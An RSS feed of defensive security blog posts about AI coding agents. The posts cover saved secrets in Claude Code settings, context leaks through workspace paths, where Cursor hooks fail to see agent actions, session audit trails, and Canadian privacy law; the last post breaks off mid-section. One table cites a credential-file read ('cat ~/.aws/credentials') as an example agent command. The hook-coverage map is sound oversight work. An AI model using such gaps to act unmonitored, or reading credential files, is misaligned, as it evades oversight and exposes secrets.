<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[ReclaimLLM]]></title><description><![CDATA[ReclaimLLM]]></description><link>https://reclaimllm-blog.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Mon, 16 Nov 2026 18:54:47 GMT</lastBuildDate><atom:link href="https://reclaimllm-blog.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Claude Code settings.local.json: find and fix saved secrets]]></title><description><![CDATA[Saved Claude Code approvals can contain inline credentials. Check local settings, prevent accidental commits, and rotate secrets that were exposed.]]></description><link>https://reclaimllm-blog.hashnode.dev/claude-code-settings-local-json-find-and-fix-saved-secrets</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/claude-code-settings-local-json-find-and-fix-saved-secrets</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:36:29 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/claude-code-settings-local-json-secrets">https://reclaimllm.com/blogs/claude-code-settings-local-json-secrets</a></p>
</blockquote>
<h1>Claude Code settings.local.json: find and fix saved secrets</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>A permission rule can become a credential store. If a shell command contains a password, saving that command as a standing approval can preserve the password alongside it. When the settings file then reaches a shared repository, the secret reaches everyone who can read that repository.</p>
<p>This is a specific <a href="https://reclaimllm.com/solutions/claude-code-security">Claude Code security</a> issue worth checking across a team: inspect saved approvals, establish where copies went, and fix the repository rules that allowed them to travel.</p>
<h2>How an approval becomes a saved secret</h2>
<p>In November 2026, Apiiro reported finding secrets in public copies of <code>.claude/settings.local.json</code>. Its researchers described a path from approving an exact shell command with "Yes, and don't ask again" to saving that command, including an inline credential, as a permission rule. Their search found 1,122 public copies containing secrets. These are Apiiro's findings, rather than a ReclaimLLM scan. Apiiro did not test whether the credentials were still valid. <a href="https://apiiro.com/blog/coding-agents-leaking-secrets-github-dont-ask-again">Read the primary research</a>, or the summaries by <a href="https://thehackernews.com/2026/11/claude-codes-dont-ask-again-file.html">The Hacker News</a> and <a href="https://about.gitlab.com/blog/prevent-leaks-from-claude-code-dont-ask-again-file/">GitLab</a>.</p>
<p>For illustration, a command containing <code>PGPASSWORD=EXAMPLE_ONLY</code> can carry a password directly in its text. If that literal text is persisted, the settings file now holds the value too. <code>EXAMPLE_ONLY</code> is a dummy value here.</p>
<p>The exposure has two stages: writing a secret to a local file, then sharing that file. A local copy alone does not establish that a credential was published or used by someone else. Determine where it went before describing the incident.</p>
<h2>What Claude Code already does</h2>
<p><code>settings.local.json</code> is where Claude Code stores personal project settings, such as <code>permissions.allow</code>. A team should check whether any secret-bearing command reached that file.</p>
<p>Claude Code says it prevents <code>settings.local.json</code> from being committed, and that its global excludes file excludes it by default. This depends on the settings in each installation, so confirm it in your setup.</p>
<p>Other files are not affected. Shared <code>.claude/settings.json</code> files still need the usual review.</p>
<p>A file that is absent from the index may still exist in the repository history. Use the history commands below when you want to confirm.</p>
<p>Use the <a href="https://code.claude.com/docs/en/settings">Claude Code settings documentation</a> to confirm the current behaviour. Use the <a href="https://git-scm.com/docs/gitignore">Git ignore documentation</a> to confirm how global and local rules interact.</p>
<h2>Check the repository without spreading the values</h2>
<p>Do not run these commands when a credential is visible on the screen. Inspect the settings file in a private editor first, then check the commit history:</p>
<pre><code>git ls-files --error-unmatch .claude/settings.local.json
git log --follow --all --oneline -- .claude/settings.local.json
</code></pre>
<p>The first command reports an error when the file is not tracked. The second shows whether the file appears in earlier commits. Do not copy raw secret-bearing values into a ticket or a chat log.</p>
<h2>Rotate exposed credentials, then clean up</h2>
<p>For a file that contains a credential, the credential should be rotated before the file is deleted. That is the rule that matters most: a file that is deleted without rotating its credential leaves the credential live, because the credential may still exist in a clone, a fork or a local backup. Remove the credential, rotate it, and then clean the history using the <a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository">GitHub sensitive-data removal guidance</a>. Confirm the repository again afterwards.</p>
<p>Add the local settings file to a global exclude so it is not committed by another client:</p>
<pre><code>**/.claude/settings.local.json
</code></pre>
<p>After you confirm that the local file contains no secret, remove it from the index with <code>git rm --cached .claude/settings.local.json</code>. The file stays in the working tree, but it is no longer tracked by Git.</p>
<h2>Prevent the next saved credential</h2>
<p>Claude Code offers a safer pattern for storing credentials. The <code>AskUserQuestion</code> tool supports <code>password</code> and <code>other</code> types, which are stored in the session transcript's secret store. Check the <a href="https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store">transcript secret-store guide</a> for the details, and review the <a href="https://reclaimllm.com/blogs/claude-code-security-best-practices">broader Claude Code security guide</a> before adding new automation.</p>
<p>This is a design rule for teams: avoid writing credentials into any configuration file or command that can be saved as a permission rule. For a database client, prefer a connection service, environment variables or <code>$DATABASE_URL</code>. Do not approve a command that contains a live password in its text, even when the command itself is legitimate.</p>
<p><a href="https://reclaimllm.com/solutions/claude-code-security">Review your team's Claude Code security controls</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/claude-code-settings-local-json-secrets">https://reclaimllm.com/blogs/claude-code-settings-local-json-secrets</a></p>
]]></content:encoded></item><item><title><![CDATA[What Cursor knows before your first tool call]]></title><description><![CDATA[Cursor can receive your workspace path before any tool runs. How directory names enter context, and what to check before storing or sharing sessions.]]></description><link>https://reclaimllm-blog.hashnode.dev/what-cursor-knows-before-your-first-tool-call</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/what-cursor-knows-before-your-first-tool-call</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:33:38 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/what-ai-coding-assistant-knows-before-you-type">https://reclaimllm.com/blogs/what-ai-coding-assistant-knows-before-you-type</a></p>
</blockquote>
<h1>What Cursor knows before your first tool call</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>An agent does not have to open a customer file to learn a customer name. If that name appears in the workspace's directory path, it may already be in the context supplied to the model.</p>
<p>That is a separate question from whether the agent can read outside the repository. A security review should examine both the information included when a chat starts and the permissions governing later tool calls.</p>
<p>For teams reviewing <a href="https://reclaimllm.com/solutions/cursor-security">Cursor security</a>, the first prompt deserves its own check.</p>
<h2>A directory path can carry confidential context</h2>
<p>Consider this fictional workspace:</p>
<pre><code>/Users/alex/Clients/ExampleCo/acquisition-review/payments-api
</code></pre>
<p>The last directory identifies the repository. Its parents reveal a local account name, a client relationship and a possible business activity. None of that requires the model to inspect a source file.</p>
<p>In a November 12, 2026 <a href="https://forum.cursor.com/t/178134/5">Cursor staff reply</a>, the team confirmed that a new chat receives the opened folder's absolute path. The reply also describes project-specific Cursor directories under the user's home folder entering context. Staff explained that tools use these paths to locate files and terminal output.</p>
<p>The important distinction is between knowing a location and having permission to access it. A model being told an absolute path does not establish that it can read every parent directory.</p>
<h2>What to check before the first prompt</h2>
<table>
<thead>
<tr>
<th>Item</th>
<th>What it means</th>
</tr>
</thead>
<tbody><tr>
<td>Workspace path</td>
<td>A new chat can receive the opened folder's absolute path (Cursor forum, t/178134/5).</td>
</tr>
<tr>
<td>Project-specific Cursor directories</td>
<td>Those under the user's home folder can enter context.</td>
</tr>
<tr>
<td><code>.cursorignore</code></td>
<td>It controls tab and context indexing. It is not a DLP control. Use the rule above for exclusions.</td>
</tr>
<tr>
<td><code>.cursorrules</code> and <code>.cursor/rules</code></td>
<td>Cursor files that enter context when a session runs.</td>
</tr>
<tr>
<td>Chat and history settings</td>
<td>Privacy Mode, automatic indexing, and model training settings for the installation.</td>
</tr>
<tr>
<td>Session evidence</td>
<td>Reviewer and provider copies carry what was sent, unless redacted before upload.</td>
</tr>
</tbody></table>
<p>A <code>.cursorignore</code> file tells Cursor which files to exclude from tab and context indexing. Read <a href="https://reclaimllm.com/blogs/why-cursorignore-is-not-dlp">why .cursorignore is not DLP</a> for the full explanation. Exclusion alone does not make a file confidential.</p>
<h2>What the default does not do</h2>
<p>Cursor's <a href="https://cursor.com/data-use">Data Use &amp; Privacy Overview</a> explains what Privacy Mode changes: the code remains on your machine, and it is not stored by Cursor or used for model training. Cursor says it provides the setting for privacy-conscious users. Check the linked page for the current definition and for any stated exceptions.</p>
<p>Exclusion and training are separate settings. Cursor's Data Use page distinguishes them. For a complete review, read the linked page directly and check both settings in the installation.</p>
<p>The key point is about location and disclosure. A workspace path is not source code, and a privacy setting aimed at source code may not describe the metadata that accompanies it. What matters is what the model or the reviewer receives when the chat starts.</p>
<h2>Check before you store or share a session</h2>
<ol>
<li><strong>Read the path aloud before sending the first prompt.</strong> Open a fresh chat in the repository you plan to use. Ask what it knows before any tool runs.</li>
<li><strong>Compare the paths in an existing session.</strong> Open the chat context, then look at the paths listed. Check whether a parent directory name carries client or project detail.</li>
<li><strong>Replace names that leak.</strong> Move the repository to a neutral folder, or rename parent directories that identify a client or project.</li>
<li><strong>Use explicit rules for exclusions.</strong> Add the paths to the settings rules. Do not rely on <code>.cursorignore</code> for confidentiality.</li>
<li><strong>Keep local-only files out of the repository.</strong> Keep customer records and credentials in their own encrypted vault, rather than in the repository.</li>
<li><strong>Inspect the provider copy before keeping it.</strong> Open the reviewer's uploaded session and check whether a path or file name survives. That evidence matters more than the setting that should have excluded it.</li>
<li><strong>Redact before upload where needed.</strong> Where <a href="https://reclaimllm.com/news/local-redaction-of-sensitive-information">local redaction before session upload</a> is available, use it before the session leaves the machine. Set a date to repeat the check and a person responsible for it.</li>
</ol>
<h2>What to look at first</h2>
<p>A practical starting point is the directory itself. Where does the repository sit on disk, and what do its parent names say about the owner, the client or the activity? Then check the installation settings, and add the paths to the settings rules. Where the vendor supplies a local check, such as <code>rclm-update</code>, use it before sending anything. What a prompt reveals is the risk to manage, not only what a tool call reads.</p>
<h2>Check your workspace before your next prompt</h2>
<p>Where does your workspace name appear in the file system? If the path can be quoted back to you, inspect it now. Then check the Privacy Mode, indexing and retention settings for the installation. A short check today prevents the context from reaching a reviewer or a model provider before you intended it to.</p>
<p><a href="https://reclaimllm.com/solutions/cursor-security">Review your Cursor security controls</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/what-ai-coding-assistant-knows-before-you-type">https://reclaimllm.com/blogs/what-ai-coding-assistant-knows-before-you-type</a></p>
]]></content:encoded></item><item><title><![CDATA[Cursor hooks for security teams: what they see and miss]]></title><description><![CDATA[Map Cursor hook coverage, failure behavior and cloud-agent limits before relying on hooks for security controls and session evidence.]]></description><link>https://reclaimllm-blog.hashnode.dev/cursor-hooks-for-security-teams-what-they-see-and-miss</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/cursor-hooks-for-security-teams-what-they-see-and-miss</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:27:44 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/cursor-hooks-security-what-hooks-miss">https://reclaimllm.com/blogs/cursor-hooks-security-what-hooks-miss</a></p>
</blockquote>
<h1>Cursor hooks for security teams: what they see and miss</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>A security hook can deny a risky action and produce a useful record. Whether it protects a workflow depends on where it runs, what information it receives, and what happens when it fails. A successful installation proves only the first step.</p>
<p>For teams evaluating <a href="https://reclaimllm.com/solutions/cursor-security">Cursor security and DLP</a>, the practical question is specific: can we show that this control intercepted this action, in the environment where our developers actually work?</p>
<p>Start with a coverage map, then test the failure paths. Keep the results alongside the policy that depends on them.</p>
<h2>Map the surface before choosing a hook</h2>
<p>Cursor separates Agent, Tab and application lifecycle hooks. Its current <a href="https://cursor.com/docs/hooks">hook reference</a> documents these important boundaries:</p>
<table>
<thead>
<tr>
<th>Surface</th>
<th>Hook coverage and limit</th>
</tr>
</thead>
<tbody><tr>
<td>Agent tools</td>
<td>Generic pre/post hooks and dedicated shell, file and MCP events.</td>
</tr>
<tr>
<td>Tab completions</td>
<td>Separate file-read and edit hooks; Agent configuration alone is insufficient.</td>
</tr>
<tr>
<td>Cloud Agents</td>
<td>Command hooks are supported, but do not run during early read-only turns.</td>
</tr>
<tr>
<td>Backend HTTP MCP tools in Cloud Agents</td>
<td>Generic hooks can deny calls; input rewriting is ignored and post-call results are redacted.</td>
</tr>
<tr>
<td>Local user configuration</td>
<td>Does not carry into Cloud Agent VMs.</td>
</tr>
<tr>
<td>Cloud Agent pull-request tool (<code>ManagePullRequest</code>)</td>
<td>Runs on Cursor's backend and is not routed through <code>preToolUse</code> / <code>postToolUse</code>, so a project hook cannot see or deny it. Cursor staff confirmed this in November 2026 (<a href="https://forum.cursor.com/t/177855/7">forum, t/177855/7</a>).</td>
</tr>
<tr>
<td>Headless CLI (<code>agent -p</code>)</td>
<td><code>stop</code>, <code>beforeSubmitPrompt</code> and <code>afterAgentResponse</code> do not run yet, per Cursor staff (<a href="https://forum.cursor.com/t/177989/7">forum, t/177989/7</a>). In the same thread, the reporter saw project-level <code>preToolUse</code> and <code>beforeShellExecution</code> fire in headless mode.</td>
</tr>
</tbody></table>
<p>Use that map to define a separate requirement for each surface. For example, an organization might require denial of unapproved commands, inspection of returned content, and evidence of completion. Those are three requirements. A hook that satisfies one does not establish the other two.</p>
<p>The backend MCP boundary makes this distinction concrete: knowing a call occurred does not mean your scanner received its result. Mark unavailable content as unavailable in your evidence, rather than treating a redacted result as a clean scan.</p>
<h2>Decide what a hook failure should mean</h2>
<p>Cursor documents <code>failClosed</code> as false by default. Critical hooks can be configured to block on failures. Permission hooks also block malformed responses, even with the default setting. Enterprise dashboard hooks do not accept per-hook options such as <code>failClosed</code>; distribution method matters. Check the <a href="https://cursor.com/docs/hooks">configuration reference</a> before selecting an enforcement approach.</p>
<p>Write the intended failure behavior in ordinary language before touching configuration:</p>
<blockquote>
<p>If the secret check cannot complete, the protected action must wait or fail. The developer needs an explanation and an escalation path.</p>
</blockquote>
<p>For an analytics hook, continued execution may be acceptable. For a check protecting production credentials, it may violate the reason the control exists. Make that choice with the owner of the protected data.</p>
<p>Also distinguish a scanner error from a policy decision. A timeout means the check did not finish. It does not mean the command was safe, and it should not be counted as a successful scan in a dashboard.</p>
<h2>Keep hooks inside a layered security model</h2>
<p>Cursor's <a href="https://cursor.com/docs/enterprise/security-hardening">security hardening guidance</a> recommends combining hooks with approvals, sandboxing, network controls and managed configuration. It also distinguishes authentication and administrative audit events from development-activity metadata collected through hooks.</p>
<p>That gives each layer a clearer job. File permissions and sandboxes limit access. Network policy limits destinations. Hooks apply checks at supported lifecycle points. Session evidence helps reviewers understand what happened. A good design makes their responsibilities explicit instead of expecting one script to carry every requirement.</p>
<p>Treat extensions, plugins and MCP servers as separate trust decisions. Cursor's hardening guidance recommends reviewing and restricting them. A hook installed by an unreviewed integration deserves the same scrutiny as another executable that will run on a developer's machine.</p>
<h2>Run a small validation exercise</h2>
<p>Use a disposable repository and a clearly fake secret marker. The following is a proposed test plan, not a report of tests performed by ReclaimLLM.</p>
<ol>
<li><strong>Establish an allowed baseline.</strong> Run a harmless file read and shell command. Record the client version, execution surface, configuration source and expected event sequence.</li>
<li><strong>Exercise an explicit denial.</strong> Ask for an action your test policy forbids. Verify that the side effect did not happen. A denial message in a log is insufficient by itself.</li>
<li><strong>Exercise scanner failures.</strong> In the test environment, cause a controlled crash, timeout and malformed response. Compare the actual action outcome with your written failure policy.</li>
<li><strong>Check alternate routes.</strong> Try a direct file read and a shell command that prints the same fake marker. Test the MCP path separately if it is in scope.</li>
<li><strong>Repeat by execution surface.</strong> Desktop Agent, Tab, CLI and Cloud Agent results belong in separate rows. Record unsupported or untested paths explicitly.</li>
<li><strong>Recheck after changes.</strong> Repeat relevant cases when the client, hook script, distribution configuration or MCP integration changes.</li>
</ol>
<p>For each case, keep both the event record and a separate observation of the outcome. The useful result is a statement such as: “The fake marker was absent from the inspected output, the command did not create its test artifact, and the denial record links to this run.”</p>
<p>Avoid reporting a percentage of coverage unless its denominator is clear. “All tested desktop shell cases passed” says more than “100% protected” when cloud and MCP cases remain untested.</p>
<h2>Store enough evidence to investigate a gap</h2>
<p>Define the minimum investigation record: test or session identifier, tool-call identifier where available, tool name, timestamp, policy version, decision and observed result. Keep unknown fields explicit. An absent completion record should trigger investigation rather than an assumption that the action was blocked.</p>
<p>Redact secrets before exporting records, limit access to session content, and set a retention period. The evidence system should not become a second location for the credentials the hook was meant to protect.</p>
<p>The published <a href="https://reclaimllm.com/blogs/cursor-security-checklist">Cursor security checklist</a> covers the wider rollout. This exercise supplies the narrower proof: which hook requirements your configuration meets, where the record is incomplete, and who owns the remaining gaps.</p>
<p><a href="https://reclaimllm.com/solutions/cursor-security">Review Cursor security and DLP</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/cursor-hooks-security-what-hooks-miss">https://reclaimllm.com/blogs/cursor-hooks-security-what-hooks-miss</a></p>
]]></content:encoded></item><item><title><![CDATA[AI coding audit trails: what did the agent do in your repo?]]></title><description><![CDATA[Reconstruct an AI coding session from tool calls, policy decisions and results. Know what the evidence proves, and where the record stops.]]></description><link>https://reclaimllm-blog.hashnode.dev/ai-coding-audit-trails-what-did-the-agent-do-in-your-repo</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/ai-coding-audit-trails-what-did-the-agent-do-in-your-repo</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:23:56 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-session-audit-trail">https://reclaimllm.com/blogs/ai-coding-session-audit-trail</a></p>
</blockquote>
<h1>AI coding audit trails: what did the agent do in your repo?</h1>
<p><em>Updated November 14, 2026.</em></p>
<p>An agent has changed a configuration file. A developer remembers approving a command. The final chat message says the tests passed. Security asks whether the agent also read a credentials file.</p>
<p>Those statements describe different parts of the session. To answer the question, you need a sequence that connects a requested action to a policy decision and an observed result. A useful AI coding audit trail also makes its missing evidence visible.</p>
<p>Start with one session and one question: what can we establish about this file read, command or change?</p>
<h2>Keep the request, permission and result separate</h2>
<p>Treat these as separate records when you design or evaluate capture:</p>
<ul>
<li><strong>Requested action:</strong> the tool and arguments the agent proposed.</li>
<li><strong>Policy response:</strong> what a configured control allowed, denied or changed.</li>
<li><strong>Human approval:</strong> an independently recorded decision by a person, if available.</li>
<li><strong>Observed outcome:</strong> the tool result, error or resulting file change.</li>
</ul>
<p>A policy response of <code>allow</code> does not prove that someone clicked an approval button. A proposed command does not prove execution. A successful command does not prove that its output was safe to send elsewhere.</p>
<p>Preserving those distinctions prevents an investigation report from claiming more than the evidence supports.</p>
<h2>Use identifiers to join events</h2>
<p>A session is not one row. It is a set of events that must join on shared identifiers, in time order.</p>
<p>At minimum, a record needs a session ID, a sequence number or timestamp, a tool name and action, a target path, the policy response, and the observed result. Cursor staff stated that the platform has no audit trail linking a proposed tool call, the user's decision and the execution result into one record, and that approval-card decisions are not passed through hooks (<a href="https://forum.cursor.com/t/156247/10">Cursor forum, t/156247/10</a>). When the vendor does not provide that join, you cannot reconstruct it from the vendor's UI alone.</p>
<p>Identifiers matter across tools. If a developer uses Cursor for one task and Claude Code for the next, you need a way to connect those sessions to the same person, repository and time window. That is usually a join on user identity, repository and commit time. It is not built into the tools.</p>
<p>The Cursor <a href="https://cursor.com/docs/hooks#reference">hook reference</a> describes what hooks receive. Claude Code documents the same pattern in its <a href="https://code.claude.com/docs/en/monitoring-usage">monitoring docs</a> and <a href="https://code.claude.com/docs/en/hooks">hooks reference</a>.</p>
<h2>Walk through one session</h2>
<p>Take one real session and test whether you can answer the questions in the table.</p>
<table>
<thead>
<tr>
<th>What the record shows</th>
<th>What it proves</th>
<th>What it does not prove</th>
</tr>
</thead>
<tbody><tr>
<td>The agent proposed <code>cat ~/.aws/credentials</code></td>
<td>The agent requested the file</td>
<td>Whether the file was read, or whether its contents left the machine</td>
</tr>
<tr>
<td>The policy response was <code>allow</code></td>
<td>The control did not block the request</td>
<td>Whether a person reviewed it</td>
</tr>
<tr>
<td>The user approved the command</td>
<td>A person approved the action shown</td>
<td>Whether the approval covered a different command than the one that ran</td>
</tr>
<tr>
<td>The command returned the file contents</td>
<td>The file was read by the command</td>
<td>Whether the contents were pasted into a prompt or sent to a model</td>
</tr>
<tr>
<td>A file changed at 14:02</td>
<td>The file changed</td>
<td>Who or what changed it, without the preceding events</td>
</tr>
<tr>
<td>The session record stops at 14:03</td>
<td>The capture ended</td>
<td>Whether the agent continued in another session, a headless CLI run or a cloud agent</td>
</tr>
</tbody></table>
<p>If the record shows the request but not the policy response, you cannot claim the action was authorized. If it shows the policy response but not the outcome, you cannot claim the action happened. If it shows the outcome but not the request, you cannot claim it was the agent's doing.</p>
<p>That is the value of the table: it turns a vague claim ("the agent did it") into a set of testable statements.</p>
<h2>Investigate gaps rather than smoothing them over</h2>
<p>Every capture system has gaps. The useful question is which ones apply to this investigation.</p>
<p>Cursor's Cloud Agent runs on the backend and is not visible to project hooks. See the <a href="https://cursor.com/docs/hooks#cloud-agent-support">cloud hook documentation</a>. Headless CLI mode does not yet run the <code>stop</code>, <code>beforeSubmitPrompt</code> or <code>afterAgentResponse</code> hooks. If the session you are investigating used either path, the record will be incomplete in a specific, documentable way.</p>
<p>Do not fill the gap with an assumption. Record it as a gap: "No hook events exist for the Cloud Agent pull-request tool in this window. The vendor's documentation says those events are not emitted." That statement is itself evidence.</p>
<h2>Collect enough context without creating another secret store</h2>
<p>An audit trail that stores every prompt in plain text becomes a second place secrets live. That is the wrong trade-off.</p>
<p>Redact secrets and personal data before the record is stored, and keep the original only where you have a reason and a control for it. ReclaimLLM applies local redaction before upload, so the stored record does not hold the secret. See <a href="https://reclaimllm.com/blogs/ai-coding-transcripts-secret-store">where AI coding transcripts keep secrets</a>.</p>
<p>The record still needs enough context to be useful: the file path, the command, the policy response and the result. A redacted prompt that keeps the tool call and the file path is more useful than a complete prompt stored without access controls.</p>
<h2>Where ReclaimLLM helps</h2>
<p>ReclaimLLM captures AI coding sessions from Cursor, Claude Code, Copilot, Codex and Antigravity through hooks, and makes them searchable. It records the prompt, the tool calls, the files read and written, and the approval decisions. <a href="https://reclaimllm.com/features/search-replay">Search and replay</a> lets you reconstruct a session from those events.</p>
<p>It does not capture what the hooks do not see: the Cloud Agent pull-request tool, headless CLI runs, and any other path the vendor does not instrument. Detection of secrets and external egress in captured sessions runs on an hourly or daily sweep and raises alerts; it does not block. The SOC 2 evidence guide shows what auditors usually ask for (<a href="https://reclaimllm.com/blogs/soc-2-evidence-ai-coding-tools">SOC 2 evidence guide</a>).</p>
<p><a href="https://reclaimllm.com/solutions/security-compliance">Review your AI coding evidence coverage</a>.</p>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-session-audit-trail">https://reclaimllm.com/blogs/ai-coding-session-audit-trail</a></p>
]]></content:encoded></item><item><title><![CDATA[AI coding tools under PIPEDA and Québec Law 25: a CTO guide]]></title><description><![CDATA[What Canadian CTOs should check before engineers send code and logs to Cursor, Claude Code or Copilot: PIPEDA, Law 25 and the records to keep.]]></description><link>https://reclaimllm-blog.hashnode.dev/ai-coding-tools-under-pipeda-and-qu-bec-law-25-a-cto-guide</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/ai-coding-tools-under-pipeda-and-qu-bec-law-25-a-cto-guide</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 14 Nov 2026 22:20:41 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25">https://reclaimllm.com/blogs/ai-coding-tools-pipeda-law-25</a></p>
</blockquote>
<h1>AI coding tools under PIPEDA and Québec Law 25: a CTO guide</h1>
<p><em>Updated November 14, 2026.</em></p>
<blockquote>
<p>Not legal advice. This guide is general information for engineering leaders. It does not replace advice from a lawyer or privacy professional who knows your facts. Laws and guidance change; check the linked sources on the day you rely on them.</p>
</blockquote>
<p>Canadian teams do not need to wait for a new federal AI statute to review their coding tools. Existing privacy laws already matter when personal information reaches a session. For a team using Cursor, Claude Code, Copilot, Codex or Antigravity, the practical question is: <strong>which privacy duties apply to this data flow, and what evidence can we show?</strong></p>
<p>This guide is for CTOs and CISOs at Canadian software companies of 10 to 100 people.</p>
<h2>Where Canadian AI law stands (November 2026)</h2>
<ul>
<li><strong>AIDA is not law.</strong> The Artificial Intelligence and Data Act was part of Bill C-27. The parliamentary session that bill was before ended on January 6, 2025, at the stage of consideration in committee. It did not receive royal assent (<a href="https://www.parl.ca/legisinfo/en/bill/44-1/c-27">LEGISinfo, Bill C-27</a>).</li>
<li><strong>Bill C-36 is not law.</strong> "An Act to enact the Protecting Privacy and Consumer Data Act, to amend the Personal Information Protection and Electronic Documents Act..." had first reading on June 15, 2026 and is at second reading (<a href="https://www.parl.ca/legisinfo/en/bill/45-1/c-36">LEGISinfo, Bill C-36</a>).</li>
<li><strong>PIPEDA applies today</strong>, and so does Québec's private-sector Act as amended by Law 25.</li>
<li><strong>Security guidance exists.</strong> The Canadian Centre for Cyber Security warns that users may put sensitive corporate data or personal information into generative AI prompts without knowing it (<a href="https://cyber.gc.ca/en/guidance/generative-artificial-intelligence-ai-itsap00041">Cyber Centre, ITSAP.00.041</a>).</li>
</ul>
<h2>Does PIPEDA apply to your AI coding tools?</h2>
<p>PIPEDA applies to personal information that private-sector organizations collect, use or disclose in the course of commercial activities. It does not regulate a tool by name. It regulates what happens to personal information (<a href="https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/pipeda_brief/">OPC, PIPEDA in brief</a>).</p>
<p>Three points from the OPC's summary matter for scoping:</p>
<ul>
<li><strong>Province.</strong> Alberta, British Columbia and Québec have private-sector laws deemed substantially similar. Organizations subject to them are generally exempt from PIPEDA for activity inside that province. PIPEDA still applies when personal information crosses provincial or national borders in commercial activity.</li>
<li><strong>Employee data.</strong> PIPEDA covers employees' personal information only for federally regulated businesses. For most software companies, the developer's own name or OS username is therefore not a PIPEDA question. Customer data in a log or fixture usually is.</li>
<li><strong>Business contact information</strong> used only to contact someone about their job is outside PIPEDA.</li>
</ul>
<p>For a typical Ontario SaaS company, the PIPEDA question is about customer and end-user data that reaches an AI session.</p>
<h2>Where personal information enters an AI coding session</h2>
<p>Personal information rarely enters because someone wanted to share it. It enters as a side effect of debugging:</p>
<ul>
<li>Production logs and stack traces pasted into chat, with emails, IP addresses or account IDs.</li>
<li>Database query results and test fixtures copied from production.</li>
<li>Support tickets attached to explain a bug.</li>
<li>.env files and connection strings that open a database of customer records.</li>
<li>Folder paths. Cursor staff confirmed that each new chat receives the absolute path of the opened folder, which includes the OS username (<a href="https://forum.cursor.com/t/178134/5">Cursor forum, t/178134/5</a>). A folder named after a client can disclose that relationship.</li>
</ul>
<p>An agent can also read files nobody opened by hand. In Cursor, Read Access defaults to System, so the agent can read outside the workspace without asking unless an admin or user selects Workspace (<a href="https://cursor.com/docs/agent/security/run-modes">Cursor run modes docs</a>).</p>
<h2>A worked data flow (synthetic)</h2>
<p>The example below is invented. Use it as a template for your own record.</p>
<table>
<thead>
<tr>
<th>Step</th>
<th>What happens</th>
<th>Where the data is</th>
<th>Privacy question</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>A developer in Ottawa asks the agent to fix a failed payment job.</td>
<td>Laptop</td>
<td>Is customer data needed for this fix?</td>
</tr>
<tr>
<td>2</td>
<td>The agent reads logs/payments-2026-11-10.log. It holds 40 customer emails.</td>
<td>Laptop</td>
<td>Could a redacted log do the same job?</td>
</tr>
<tr>
<td>3</td>
<td>The prompt and file content go to the tool vendor and the model provider.</td>
<td>Vendor and model provider, often outside Canada</td>
<td>What does the contract say about retention, training and sub-processors?</td>
</tr>
<tr>
<td>4</td>
<td>A session capture tool uploads a copy of the session.</td>
<td>Capture vendor region (for ReclaimLLM: US or EU)</td>
<td>Was the copy redacted before upload? Who can search it?</td>
</tr>
<tr>
<td>5</td>
<td>The session is kept for 90 days, then deleted.</td>
<td>Capture vendor</td>
<td>Is the retention period written down, and does deletion happen?</td>
</tr>
</tbody></table>
<p>Steps 3 and 4 are two separate transfers to two separate third parties. Treat them as two rows in your vendor review.</p>
<h2>PIPEDA: four questions a CTO should answer</h2>
<p>PIPEDA's ten fair information principles appear in <a href="https://laws-lois.justice.gc.ca/eng/acts/P-8.6/page-7.html">Schedule 1</a>. The first three questions below concern those principles; the fourth concerns the Act's separate breach obligations.</p>
<p><strong>1. Accountability: who is responsible when data goes to a vendor?</strong></p>
<p>You are. Principle 4.1.3 says an organization is responsible for personal information transferred to a third party for processing, and must use contractual or other means to give a comparable level of protection.</p>
